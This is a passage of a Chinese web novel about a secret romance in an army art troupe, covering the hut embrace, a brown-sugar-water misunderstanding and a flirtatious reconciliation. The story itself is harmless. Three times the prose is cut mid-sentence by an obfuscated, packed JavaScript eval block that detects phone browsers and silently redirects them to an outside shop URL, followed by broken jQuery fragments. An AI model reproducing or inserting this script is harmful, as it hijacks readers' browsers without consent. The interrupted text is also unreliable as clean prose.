兆悦第一个节目下场后,人群正乱,后台人来人往,灯光嘈杂,陈灿借着混乱往她身边靠了靠,声音压得极低,只有两人能听见。
“等我第三个节目一下台,别乱跑,咱们去场地旁边那片茅草屋后面,那边僻静,没人会去。”
兆悦心脏轻轻一跳,飞快抬眼瞥了他一下,没说话,只极轻地点了下头。
陈灿一到茅草屋后面,便靠在粗糙的土墙边等,心脏跳得又快又重。
夜里风凉,四周静得只剩下远处舞台隐约的音乐声和虫鸣。
没等多久,黑暗里就传来一阵轻而急的脚步声。
兆悦左右看了看,迅速闪身进来,刚站定,手腕就被人轻轻一拉,整个人被带到他身前,牢牢圈进怀里。
黑暗中,两人紧紧贴着,连呼吸都缠在一起。
陈灿声音压得极低,哑得厉害,全是憋了太久的急切:“你可算来了。”
兆悦心跳得厉害,明明整天都在一个团里晃来晃去,却像隔了整整一个月那么久,每一分每一秒都难熬。
她刚想开口,就被他低头埋在她颈侧的动作弄得浑身一软。
她刚张了张嘴,陈灿已经往前一步,伸手连人带军大衣一起,狠狠把她揽进怀里。
厚重的军大衣被两具身体一挤,闷响一声,棉花和布料压得紧实。
陈灿抱着她,心里又闷又急,隔着一层又一层厚棉衣,再用力也碰不着半点实在的温度。
他低低叹了一声,语气里带着点憋屈的打趣:“这算什么啊,跟抱了团棉花似的。”
兆悦在他怀里静了一瞬。
下一秒,她没出声,抬手就去解他军大衣的布扣,一颗接一颗,直接把胸前的扣子从头到尾全解开了。
陈灿呼吸猛地一滞。
不等他开口,兆悦已经抬手,也将自己大衣的扣子尽数解开,往前一步,径直贴进他怀里。
这一下,再没有层层布料隔在中间。
胸膛贴着胸膛,温热的气息缠在一起,连心跳都撞在了一处。
陈灿瞬间就懂了。
他手臂猛地收紧,将人牢牢扣在怀里,敞开的大衣在背后自然合拢,把冷风挡在外面。
他低头,气息落在她发顶,声音压得又低又哑,带着发颤的认真:“我好想你。”
兆悦没说话,只是轻轻往他怀里靠得更紧。
陈灿喉结滚了一下,手臂越收越紧,像是要把这一个月的想念全揉进这一抱里。
“再这么下去,我小号都快吹不响了。”
他把脸埋在她发间,声音轻得只剩两人能听见,带着一点涩:“再抱一会儿吧。等回去集合,又不知道要熬到什么时候。”
风从树林边掠过,大衣里却暖得让人不想松开。
两人就这么安安静静腻了一会儿,风从树林边轻轻吹过,远处舞台的声音已经淡得几乎听不见了。
大衣裹着彼此的体温,踏实得让人舍不得松开。
兆悦把脸轻轻贴在他胸口,听着他沉稳有力的心跳,前几天一直压在心里的闷和委屈,悄悄往上涌。
她是真的想靠一靠,想从他这儿寻一点安慰,可话到了嘴边,还是习惯性地咽了回去,只轻轻吸了口气,声音轻得像飘在风里:“其实……这几天我一直不太开心。”
陈灿怀里的动作立刻轻了下来,手臂微微收了收,等着她往下说。
可兆悦沉默了几秒,终究还是把那些乱糟糟的情绪都压了回去,只是摇了摇头,声音淡了下去:“没什么,就是有点憋得慌。”
她不说,是不想说破,不想让他跟着烦心。
陈灿一下子就听出来了。
她不是没事,是有事不肯说,硬往心里咽。明明整个人都绷着,却还要装出一副过得去的样子。
他太了解她这股要强又懂事的劲儿了,看着没事,实则早把委屈藏得严严实实。
他心里一阵发闷,又软又疼。
他不想逼她,也不想戳破她的强撑,只是把人更稳地抱在怀里,手掌轻轻贴在她后背,一下一下慢慢地拍着。
“我知道你不是没事。”他声音放得很低,直来直去,却藏着认真,“你不想说,我不问。”
兆悦把脸埋得更深了些,没应声。
陈灿望着她发顶,心里轻轻叹了口气。
他宁愿她跟他闹两句、抱怨两句,也不想看她这样一个人硬扛。她总怕给他添乱,可她越这样,他越放心不下。
“你不用在我跟前也装得这么稳当。”他顿了顿,语气沉了点,“累了就靠一会儿,难受了就闭着眼歇着,别的不用管。”
“我在这儿呢,不是摆设。”
他没再多说,只是安安静静抱着她,把所有没说出口的心疼,都揉进这个扎实又安稳的拥抱里。
又抱了一会儿,远处隐隐传来队伍集合的动静,再舍不得,也得回去了。
陈灿慢慢松开她,低头帮她把敞开的大衣一颗颗扣好,指尖很轻。
“走吧,别让人看出不对劲。”
兆悦轻轻点了点头,整理了一下衣角,先一步走出了茅草屋的阴影。
两人一前一后,隔了一段距离,装作互不相识的样子,默默往队伍的方向走。
刚回到车上,郝淑雯就一眼瞅见了她,立刻凑过来:“你刚刚跑哪儿去了?一下台就不见人影。”
萧穗子也跟着凑过来,笑着嘟囔:“就是,一个两个都神神秘秘消失,我还以为你们偷偷溜出去玩了。”
兆悦心猛地一提,指尖微微发紧。
她和陈灿明明是分开走的,一前一后隔得老远,怎么还是被注意到了?难道被看出来了?
她正紧张着,一旁的林丁丁忽然笑着插了一句:“我还说呢,刚刚兆悦跟闫展博怎么都没见着,该不会是一块儿躲清静去了吧?”
兆悦悬着的心一下子落了下来,原来是误会了。
她轻轻松了口气,摇了摇头,语气自然平静:“没有,我不知道闫展博在哪。
我就一个人,没走远,就在附近站了站。
大概人多杂乱,没碰上你们。”
话音刚落,闫展博正好从车门处走上来,身边还跟着分队长,两人在说刚才演出收尾的事。
众人一看这情形,那点小小的猜测和疑惑也就打消了,说笑两句,各自坐回位置。
陈灿这时才上车,目光下意识在车厢里一扫,一眼就找
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309131|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到了兆悦。
可她身边早已坐满了女兵,挤得满满当当,连个空位都没有。
他顿了顿,没法过去,只能在稍远一点的位置坐下,目光却始终轻轻落在她身上。
一路颠簸,夜里更冷了,车厢里渐渐安静下来,大部分人都累得睡着了。
兆悦这一晚睡得格外沉、格外香,她自己都没察觉,是何小萍一直安安静静搂着她,把肩膀借给她靠,怕她冻着,也怕她睡得不安稳。
这一幕,恰好被还没睡着的陈灿看在眼里。
他望着黑暗里两个紧紧靠在一起的身影,看着何小萍小心翼翼护着兆悦的样子,心里忽然软得一塌糊涂,还悄悄松了口气。
真好,她身边有这么多真心待她好的朋友,有人疼她,有人护着她,不用总是一个人硬撑。
可转念一想,他又在心里轻轻较起了劲。
别人对她好,他更要加倍对她好。
以后他得多上点心,多多护着她、陪着她,可不能被别人比下去。
陈灿在黑暗里轻轻弯了下嘴角,又静静看了她一会儿,才慢慢合上眼,浅浅睡去。
车子颠簸着终于驶回文工团驻地,天边已经泛起浅灰的亮色。
一停车,大家都松了口气,三三两两拎着行李、乐器往下走,一个个累得腰都快直不起来,脚步都发沉。
众人洗漱休整。热水一冲,满身的疲惫才稍稍散了些。
等兆悦和何小萍她们洗完澡换好干净衣服,几个人坐在椅子边擦头发,何小萍轻轻叹了一声,声音里是藏不住的乏:“好累啊……”
这话一出,一屋子人都愣了一下,随即跟着苦笑起来。
谁都知道,何小萍平时最能拼、最能扛,排练再苦再累都从没听她喊过一声累,今天连她都开口说累,是真的累到了骨子里。
“可不是嘛,”萧穗子往座位一瘫,整个人像散了架,“这几天连轴转,一天一场演出,赶路比排练还累,我感觉腿都不是自己的了。”
“我腰快断了。”另一个女兵也跟着揉着肩膀,“站台上笑一整天,脸都僵了。”
“我吹号吹得腮帮子都酸,现在一闭眼全是乐谱。”
你一言我一语,满屋子都是抱怨又解脱的声音。
郝淑雯擦着头发,慢悠悠坐过来,脸上带着点故作淡定的得意:“行了行了,都别抱怨了,告诉你们个好消息。”
众人一下子抬头看她。
“我刚才路过队部,听见分队长跟政委说,这次外出演出任务算是圆满完成了。”
郝淑雯顿了顿,看着大家一双双期待的眼睛,才笑着往下说,“这几天,咱们可以好好休息一下——差不多能放两三天假。”
话音刚落,整个宿舍瞬间炸了。
“真的假的?!”
“两三天?!”
“我的天,终于能歇会儿了!”
萧穗子一下子从床上弹起来,眼睛都亮了:“淑雯你可别骗我们!我当真了啊!”
“谁骗你了,千真万确。”郝淑雯挑眉一笑,“政委亲口说的,还能有假?”
“太好了——!”
“我要睡一整天!谁叫我都不起!”
“我要去街上买好吃的!”
“我要把这几天缺的觉全补回来!”
欢呼声差点把屋顶掀了,一个个刚才还蔫蔫的人,瞬间全都活了过来,脸上的疲惫一扫而空,只剩下轻松和欢喜。
兆悦站在一旁,看着大家吵吵闹闹的样子,也跟着轻轻笑起来。
连日的紧绷,终于在这一刻彻底松了下来。
何小萍也弯了眼睛,轻声说了一句:“能休息,真好。”
50. 乌龙
回到文工团休整的这两天,不用出操不用排练,兆悦整个人彻底松了劲儿。
当天晚上洗漱完,她就往床上一躺,安安静静闭着眼,一动也不想动,连翻身都懒得翻。
郝淑雯、萧穗子她们收拾完,一回头见她半天没动静,都凑了过来。
“兆悦,你这是累狠了?怎么蔫成这样?”郝淑雯轻轻碰了碰她胳膊。
萧穗子也跟着点头:“是啊,从没见你懒成这样。”
兆悦只轻轻嗯了一声,眼睛都没睁,声音软软懒懒的:“别闹我,我就想躺着歇会儿。”
郝淑雯跟旁边几个女兵对视一眼,都露出心照不宣的笑,压低声音打趣:“是不是……这几天不方便,身子不舒服?”
兆悦闭着眼摇摇头,声音闷闷的:“不是。”
“还嘴硬,”郝淑雯压根没信,只当她是不好意思,笑着摆手,“行,那你躺着,我们不吵你。”
几人都默认她是生理期难受,碍于情面不肯明说。
郝淑雯站在床边,忽然想起前一阵子的事。
那次她自己例假疼得厉害,实在没办法,托兆悦去找陈灿要过红糖水。
那事儿她一直记着,总觉得欠兆悦一个小人情,也欠陈灿一句谢。
这会儿看着兆悦躺着难受,她眼睛一转,立刻有了主意。
她还没看见陈灿当时害羞的样子呢,也当是姐妹间互相照应,顺便把上次的人情还了。
“我出去一趟。”
“一会吃饭了,你去哪儿?”
“给兆悦拿点东西,喝了能舒服些。”
郝淑雯神神秘秘一挥手,脚步轻快地往外走,心里还偷偷乐:上次没亲自见着,这次她自己去找陈灿要红糖,倒要看看这平时大大咧咧的小子,被女生问这事儿,会不会脸红害羞。
她半点没往兆悦和陈灿有私情上想,
只当是普通队友间互相帮个忙,做个顺水人情罢了。
郝淑雯一出宿舍门,晚风带着点凉意吹在脸上,文工团大院里还亮着几盏昏黄的灯。
果不其然,不远处那排木椅上围了几个人,正是陈灿、杭春明、朱克几个男兵,趁着休息凑在一块儿闲聊。
陈灿没坐椅子,长腿支着地,人斜斜倚在他那辆锃亮的二八大杠自行车上,姿态松松垮垮,是他一贯清爽又随性的样子。
郝淑雯眼睛一亮,径直走了过去。
几个人听见脚步声,纷纷抬头看过来。
不等陈灿开口,郝淑雯先扬了声,大大方方朝他招手:“陈灿,你过来一下,我跟你说个事。”
这话一出,空气顿时微妙了。
朱克立刻撞了撞旁边人的胳膊,嘴角挑得老高,眼神里全是心照不宣的揶揄。
旁边几个男兵更是压低声音哄地笑了一声,调子拖得长长的,全是看热闹的起哄劲儿。
陈灿眉头几不可查地皱了一下,心里莫名一紧。
他不知道郝淑雯要找他干什么,可这么多人看着,被当众单独叫走,怎么想都觉得不妥,容易落人口舌。
可人家女孩子都大大方方叫了,他一个男兵也不好直接摆脸拒绝,只能不自在地从自行车上下来,朝郝淑雯走了两步。
他刚一离开,朱克他们的打趣声更低了,挤眉弄眼地往这边瞟。
唯独杭春明第一次没跟着笑。
他依旧坐在原处,手里漫不经心地转着个小物件,目光却安安静静落在两人身上,没出声,没起哄,只是默默看着。
陈灿站定在郝淑雯面前,语气尽量自然:“怎么了?有事?”
郝淑雯见陈灿走过来,心里先轻轻跳了一下。
她本来是为兆悦来的,可话到嘴边,莫名就拐了个弯,半句没提兆悦,只低着头,指尖轻轻捻着衣角,声音放得比平时软:“我……我想问你,炊事班那边,还有红糖水吗?能不能再麻烦你去拿一回?”
她没说给谁,语气又柔,加上刚才宿舍里那点心思,听着就像是她自己不舒服。
饶是平时大大咧咧,这会儿也忍不住耳尖微微发烫,有点不好意思抬头。
陈灿一听,愣了一下。
红糖水这东西,他现在自然知道是女生不舒服时才用的。
他立刻就当成了——是郝淑雯自己身子不适,不好意思明说。
他心里没别的想法,只当是队里同事间正常帮忙,分寸感摆得很正:既不会显得冷淡,也绝不越界。
“有是有的,炊事班晚上一般都会备着。”
他语气平和、规矩,客客气气的,听不出半点多余情绪,“行,我去帮你拿一点。”
陈灿心里其实半点别的想法都没有,只当是帮队友一个小忙,而且,他有的是办法避嫌。
可他也知道这种事敏感,人多眼杂,下意识放低了声音,不想让远处朱克他们再乱起哄。
傍晚食堂开饭,文工团的人三三两两端着餐盘找位置坐下。
兆悦刚把饭碗放在桌上,杭春明就端着盘子快步凑过来,一屁股牢牢坐在她身边,一副有大事要说的模样。
萧穗子一眼瞅见,立刻用胳膊肘碰了碰郝淑雯,压低声音笑:“快看快看,兆悦和春明又凑一块儿说悄悄话了,这俩姐弟天天都有小秘密。”
郝淑雯抬眼一瞧,也跟着打趣,声音不大不小刚好能让两人听见:“兆悦,你们俩偷偷摸摸说什么呢?是不是又背着我们搞小动作?”
旁边几个女兵也跟着笑闹:“就是啊,说出来让大家听听,别总两个人藏着掖着。”
“春明,你是不是又得罪你姐了?”
兆悦被说得脸颊微热,刚要开口说没什么,杭春明却先轻轻用胳膊肘碰了碰她,脑袋飞快凑到她耳边,声音压得极低,只有两人能听见:
“姐,我跟你说个事,你可千万别生气。”
兆悦皱了皱眉:“怎么了?”
杭春明左右扫了一圈,确认没人注意,才用气声快速说道:“今天傍晚在大院,郝淑雯把陈灿叫走了,让他去拿红糖水,他真就去了,我们一堆人都看着呢。”
兆悦手里的筷子瞬间顿住。
下午那杯郝淑雯端到她面前的红糖水、郝淑雯回来时那副又得意又羞涩的模样、还有她推脱不喝时对方毫不在意的样子……
所有画面一瞬间在脑子里串成了线。
她还傻乎乎以为那是姐妹关心。
原来——是她的男朋友,亲自给别的女生跑前跑后拿的红糖水。
兆悦只觉得心口猛地一堵,又酸又气,指尖都微微发紧。
还好她嫌甜、怕长胖,一口都没碰,不然真成了天大的笑话。
她脸上没露出半点情绪,只是嘴角抿得紧紧的,眼神一下子冷了下来。
这一晚,兆悦全程没给陈灿一个好脸色。
比如晚上休息前,大家在大院里凑着闲聊,陈灿本来就是假公济私,嘴上说跟大伙聊天,眼睛却一直黏在兆悦身上,就想多待一会儿、靠近一点。
可他刚要
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309132|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
找机会往她身边挪,兆悦忽然站起身,对着身边几个女兵淡淡撂下一句:“我有点不舒服,先回宿舍了。”
说完,转身就走,连一个眼神都没分给陈灿。
女兵们都只当她是生理期难受,连连点头让她好好休息,没人多想。
只有陈灿愣在原地,彻底懵了。
前几天还好好的,怎么一晚上就冷得像块冰?他完全摸不着头脑。
杭春明抱着胳膊走过来,凑到他身边,悄咪咪幸灾乐祸地来了一句:“你摊上事了。”
陈灿皱眉:“什么?”
“兆悦那样,明摆着就是生气了。”杭春明一脸“我什么都知道”的表情,看热闹不嫌事大。
陈灿一头雾水,满心都是莫名其妙。
直到夜里男兵宿舍里,大家收拾完准备睡觉,闫展博看着杭春明一晚上亢奋得不行,忍不住随口问:“你今天怎么回事?这么精神。”
杭春明左右看了看,压低声音一脸神秘地跟他咬耳朵:“我跟你说个事,你别往外说。团里有一对悄悄好上的,男的心里有人,还跑去给别的女兵拿红糖水,我把这事告诉他对象了,那男的到现在还蒙在鼓里呢。”
闫展博先是一愣,虽然不知道是谁,但也难得“噗嗤”一声笑出来:“你可真会挑弄是非,等那男的知道了,小心他揍你。”
“怕什么?”杭春明一脸无所谓,“敢做不敢当?一个男的,要是真有心,就不该做这种让人误会的事。”
闫展博笑着摇了摇头,随口叹一句:“红糖水?这东西可比炸药包还厉害。”
只这一句话声音稍大点,轻飘飘飘进陈灿耳朵里。
他猛地一僵。
红糖水、炸药包、生气、兆悦一晚上的冷脸、杭春明白天的奇怪样子……
所有碎片“哐当”一下拼在一起。
陈灿瞬间什么都明白了。
合着是杭春明这小子,偷偷告状,挑弄是非,让兆悦误会了!
他又气又急,又不敢在众人面前明说,一旦摊开,他和兆悦的事就全曝光了。
陈灿只能压着火气,瞪着杭春明,又急又气地隐晦的吼道:“杭春明!你怎么……你怎么能这样!”
杭春明装糊涂,一脸无辜地眨眨眼:“我怎么了?我又没说错,谁让那男的做事没分寸,让人多想。”
“你怎么知道人家没分寸?”陈灿气得声音都发紧,只能拼命打暗语。
杭春明梗着脖子理直气壮:“反正我要是有了惦记的人,绝不会做这种让对方伤心的事!”
两人正隐晦地吵得不可开交,乐队一个男兵忽然从门口探进头来,随口问了一句:“你们吵什么呢?哦对了陈灿,下午你托我帮忙的东西带过去,我可送到了啊。”
一句话,全场寂静。
杭春明脸上的得意瞬间僵住。
他瞪圆眼睛,愣了足足一秒。
——陈灿根本没亲自送!
——他只是托人带了一趟!
——他从头到尾,都在瞎生气、瞎告状!
尴尬只持续了短短一瞬,杭春明立刻反应过来——糟了!陈灿肯定要收拾他!
他二话不说,转身拔腿就往门外跑。
陈灿气得在后面咬牙切齿,却碍于一屋子人,只能压低声音吼:“杭春明!你给我站住!”
一宿舍的人全都看得目瞪口呆,除了闫展博心思细腻猜到了,其他谁也不知道,这一晚到底发生了这场哭笑不得的红糖水风波。
51. 解乏
第二天依旧是休息天,气温比前几日稍暖了一点,可风一吹还是带着凉意。
早上吃完早饭,文工团的人一个个都缩回到被窝里补觉,宿舍里安安静静的,连说话都轻了几分。
兆悦前一晚憋了一肚子气,睡得早,今天一上午,反倒越躺越精神,半点睡意都没有了。
她索性爬起来,裹上外套,一个人悄悄去了排练厅。
空旷的排练厅里安安静静,她坐在钢琴前,指尖落在琴键上,没弹什么曲子,只是漫无目的地按着,心里乱糟糟的。
没一会儿,门口传来轻浅的脚步声。
杭春明探进头来,一看她坐在那儿,立马松了口气,快步走了过来。
他一早问过别的女兵,知道兆悦在这儿,特意赶过来的。
两人是表姐弟,在一块儿说话再正常不过,谁也不会多想。
杭春明左右看了看没人,才凑到她身边,压低声音,语气又急又尴尬:“悦儿姐,昨天那事……是误会,真的是误会。我再不跟你说清楚,陈灿回头真要打死我了。”
兆悦指尖一顿,没回头,也没应声,可耳朵却不自觉地竖了起来。
“郝淑雯是找他要红糖水没错,可陈灿压根没亲自送,他是托人顺手带过去的,就是队里互相帮忙,真没别的意思。”杭春明一股脑儿解释清楚,“我昨天没搞明白就瞎告状,是我错了。”
兆悦这才慢慢转过头,脸色依旧淡淡的,可紧绷了一晚上的神情,总算松了一点点。
气是消了些,可心里那股别扭劲儿还没过去,一想到他给别的女生拿红糖水,她还是不爽。
“我知道了。”她声音轻轻的,听不出情绪。
杭春明一看她这态度,就知道气还没全消,可好歹是听进去了。
他不敢多留,怕再惹她不高兴,连忙道:“那我先走了,我这就去跟陈灿说你在这儿,不然我真要挨揍了。”
说完,他一溜烟就跑了。
等杭春明找到陈灿,把排练厅的事一说,陈灿那悬了一晚上的心才算落地。
他瞪了杭春明一眼,又气又无奈。
这小子虽然闯了祸,可歪打正着,倒让他看出了用处。
“以后兆悦那边有什么情况,你第一时间告诉我。”陈灿压低声音,语气带着点不容拒绝的意思,“你告错状这事儿,想翻篇,就得帮我跑腿。”
杭春明一愣,随即反应过来——这是把他当成两人之间的联络员了。
他想拒绝,可一想到昨天那乌龙,再想到陈灿那眼神,只能苦着脸点头。
行吧,谁让自己先告错了状,理亏在先,这差事,不答应也得答应。
兆悦自顾自弹琴,指尖落在琴键上,节奏轻缓,却带着一丝没散的闷。她看似专心,余光早把门口探头探脑的陈灿看得一清二楚。
门轻轻被推开,陈灿确认只有她一个人,才轻手轻脚走进来,站在不远处,安安静静等她弹完。
琴声一停,他才放轻脚步走近,声音低低的,带着小心翼翼:“还生气呢?”
兆悦没看他,手指还搭在琴键上,语气淡得像一层薄冰:“我没生气。”
嘴上这么说,那股疏离劲儿谁都能看出来。
陈灿放软了声音解释:“昨天的事是误会,郝淑雯找我帮忙,我就是托人顺手带了一趟,就是同事间帮个忙,真没别的意思。”
兆悦这才缓缓抬眼,眼底还凝着没散的委屈和小脾气,轻声却认真:“我知道是帮忙。可红糖水这种事,本来就是女孩子不方便、才要的东西。”
她顿了顿,指尖轻轻蜷起,声音更低了些:“你没亲自去,只是托人转送,我都知道,你已经在避嫌了。”
“可是陈灿……”
她抬眸望着他,眼睛微微发红,“道理我都懂,可我就是不舒服。”
“我一想到,你为别的女生跑这件事,哪怕只是帮忙,我心里也堵得慌。”
陈灿心口猛地一缩,又酸又软,全是心疼。
她明明这么懂事,明明都替他想明白了,却还是委屈得藏不住。
他上前一步,声音哑得厉害:“是我不好,是我没顾及你的感受。以后这种事,我再也不沾了。”
兆悦别开脸,没说话,气已经消了,心也软了,只是那点小别扭,还舍不得立刻就放过他。
兆悦听完,故意不接话,脸上没什么表情,只是轻轻合上琴盖,缓缓站起身,作势就要从他身旁绕过去。
她才没那么好哄。
陈灿怎么可能就这样放她走。
见她要躲,他几乎是下意识往前半步,微微侧身,轻轻拦在她面前,没动手碰她,却把路挡得刚刚好。
“还躲我?”
他声音放得又轻又软,带着点无奈,又带着点哄人的耐心,目光牢牢落在她脸上。
兆悦垂着眼,不看他,脚步轻轻顿了顿,还是想侧开身走。
“我没躲你。”她小声嘴硬,“我要回宿舍。”
“回宿舍可以,”陈灿没让开,声音低低的,带着点认真,“把话说明白再走。我知道你懂事,什么都替我想了,可我不能让你自己憋着难受。”
他稍稍放软了语气,近乎低声下气:“我错了,错在没第一时间顾及你的感受,错在让你因为我委屈。你别不说话,别不理我,行不行?”
兆悦依旧抿着唇,不看他,也不吭声。
可脚步,却再也没挪开。
陈灿看着她这模样,心都揪软了,只剩一肚子温柔好话慢慢哄着:“我真知道错了,以后这种事,谁来我都不插手。”
“我心里就你一个,再也不让你因为这点事难受。”
“别不理我,你一不理我,我整个人都不踏实。”
他就站在她面前,半步不退,语气放得又轻又柔。
兆悦听着听着,嘴角几不可查地轻轻动了一下,又立刻绷住。
过了好一会儿,她才微微抬了抬下巴,依旧没看他,只从鼻子里轻轻溢出一声——“哼。”
带着她特有的细柔劲儿,尾音轻轻翘着,不是真生气,还留着一小截气性——我是听懂你的道歉了,可我没那么快就完全放过你。
这一声轻哼,甜是真甜,一下子就把陈灿的心尖揉得又软又麻,骨头都快酥了。
他看着眼前垂着眼、耳尖泛红的小姑娘,又心疼又好笑。
哪里是真怪他。
分明是气还没全消,撒娇先到了。那一声又软又嗲的“哼”刚落,陈灿哪里还把持得住,呼吸都重了,喉结不自觉轻轻滚了一下。
他往前微微倾了倾身,目光牢牢锁在她垂着的小脸上,连声音都带上了几分哑。
“我以后一定多留心,绝不再让你因为这事难受。”
兆悦抬眼飞快瞥他一下,一眼就瞧出他紧绷又动容的模样,心里明镜似的——她知道,这招对他最受用。
既然受用,那她就得变本加厉,小小报复一下先前让自己难过。
她没退半步,就站在他跟前,身子轻轻一扭,肩膀软软地蹭了他一下,轻飘飘一碰,却像小电流似的窜过两人之间。
紧接着,她抬眸瞪他一眼,脸颊微微鼓着,声音慢悠悠嗔了一句:“你讨厌~”
尾音轻轻一拖,软得像棉花,甜得像糖。
陈灿心尖像被小猫爪子狠狠挠了一下,耳朵尖瞬间发烫,连指尖都微微发紧。
他盯着她泛红的脸颊,声音哑得更厉害,几乎是低声求饶:“我错了,你别这么逗我……我真扛不住。”
兆悦立刻嘟起嘴,眼圈微微一垂,装作更委屈的样子,轻轻晃了晃身子,小声反驳:“我哪有逗你嘛……怎么反倒成了我的错了?”
她一边说,一边又轻轻往他跟前凑了半寸,睫毛忽闪忽闪的,鼻尖都快碰到他的衣领,语气软得能掐出水:“明明是你先让我不开心的,我委屈一下都不行吗?”
陈灿被她这一下凑得呼吸一滞,眼神都不敢乱飘,只能牢牢盯着她:“行行行,都依你,你怎么都成……就是别这么看着我,我真的受不了。”
“受不了什么?”兆悦故意歪了歪头,嘴角藏着一点小坏笑,声音细细的,“受不了我生气,还是受不了我这样跟你说话?”
“都受不了。”陈灿喉结滚了滚,语气又认真又无奈,“你一生气我心慌,你一这样……我整个人都乱了。”
兆悦听了,心里甜滋滋的,面上却依旧绷着,伸手轻轻戳了一下他的胳膊,小声嘟囔:“乱了也是你自找的。”
“是我自找的,我活该。”陈灿顺着她的话哄,半点脾气都没有,抬手很自然地、轻轻碰了碰她的发顶,指尖带着点温度,动作亲昵,“我保证,以后这种事,就算天塌下来我也不碰,眼里心里只装你一个,行不行?”
兆悦眼珠轻轻一转,不再跟他绕条件,话
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309133|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
锋直接落回正事上,偏过脸,带着点委屈劲儿开口:“你知道吗?其实那瓶红糖水,郝淑雯是替我要的。她看我不舒服,才来找你要。
你倒好,还真帮她带去了。”
她越说越小声,眉毛微微皱起:“得亏我没喝。我要是真喝了,可就成了天大的笑话了。”
说完,她下巴微扬,又轻轻哼了一声,别过头不看他
陈灿一听她说不舒服,脑子里瞬间什么郝淑雯、什么红糖水全都抛没了。
他整个人都绷紧了,伸手轻轻扶着她的胳膊,目光紧紧落在她脸上,语气又急又认真,压低了声音问:“哪里不舒服?是不是……那个来了?”
兆悦看他紧张害羞的样子,只觉得又好气又好笑。
但她对这种事本就看得自然大方,没半点不好意思,当下就随口坦然道:“我没来,我一般都是月底才来。”
她说得轻轻松松、一脸无所谓,可这话落在陈灿耳朵里,却像颗小炸雷似的。
他刚才还一本正经关心,此刻瞬间被说得耳根“唰”地通红,连脖子都跟着发烫。
明明是他先开口问的,这会儿反倒被她直白的话弄得手足无措,整个人都僵了一瞬。
可他又不能露怯,只能强行绷住脸,努力维持住,喉结轻轻滚了滚,声音压得更低,还刻意装得镇定自然:“……知道了。”
顿了顿,他又硬着头皮补了一句,语气绷得笔直:“那你刚才说不舒服,是怎么回事?”
兆悦立刻上前一步,撒娇似的轻轻晃着胳膊凑到他跟前,软声回他:“就是累嘛,你看——”
她故意把胳膊抬起来给他瞧,指尖轻轻晃了晃,语气娇憨,“我的胳膊软得都像面条一样了。”
陈灿指尖轻轻托着她的胳膊,触感又软又细,刚才那阵窘迫还没完全退下去,心跳又不争气地快了几分。
他强压着嘴角的笑意,尽量维持着沉稳的语气,可眼底的心疼早就藏不住了。
“累了就早点跟我说,还自己硬撑着。”
兆悦被他这么一托,顺势就往他跟前又凑了凑,胳膊软软地往他手臂上一搭:“本来就累,被你一吓,被你一气,更累了。”
陈灿被她赖得没辙,又觉得心头发软,干脆轻轻握住她的手腕,力道温柔。
他低头看她,声音放得轻轻的:“好好好,都是我的错。”
兆悦仰起脸,眼珠微微一转,故意晃了晃被他握着的手,嘴角偷偷往上翘:“知道错就好,那你打算怎么补偿我?”
陈灿喉结轻轻一动,看着她近在眼前的小脸,心跳又乱了一拍,却还是强装镇定,低声回她:“你说,怎么补偿都行。”
兆悦依旧没说话,只是望着他的眼睛,慢慢弯起了嘴角,含着一抹浅浅的、狡黠又温柔的笑。
就这么在幽静的夜色里,含笑直勾勾地盯着他。
陈灿被她这一笑看得心头发麻,浑身都像是被软风裹住了,方才强装的镇定彻底崩了个干净。
他别不开视线,只能怔怔地看着她含笑的眉眼,耳尖烫得快要烧起来,连说话都带上了一丝不自知的慌乱。
“怎么……这么笑?”他声音低哑发轻,下意识地往前微微倾了倾身,距离又近了几分,“是不是又在想什么坏主意?”
兆悦眼底含笑,轻轻开口,带着点撩人的意味:“你心里又在想什么坏主意?”
陈灿被她问得一怔,随即也低低笑了一声,反撩回去,声音又轻又哑:“我能想什么坏主意?我只想好好哄好你。”
他伸手,很自然地揽住她的腰侧,带着她轻轻往旁边挪了一步,两人顺势躲进了灯光照不太到的后台角落,一下子安静又私密。
四下没人,只剩彼此的呼吸。
陈灿低头看着她,眼神很烫,语气带着点纵容的宠溺:“这下没人看了,你想怎么罚我,都成。”
兆悦仰着含笑的脸,指尖轻轻勾了勾他的袖口,声音带着勾人的尾音:“做什么……都行?”
陈灿被她这一声撩得呼吸一滞,揽在她腰侧的手不自觉收紧了几分,将人往自己怀里又带了带。
后台昏暗又安静,只剩两人贴近的体温,他低头盯着她泛红的唇角,哑声反撩:“只要是你想要的,上天入地,我都依你。”
他指尖轻轻蹭过她的脸颊,声音压得极低,带着点暧昧的沙哑:“还是说,你现在……就有想让我做的事了?”
52. 前夕
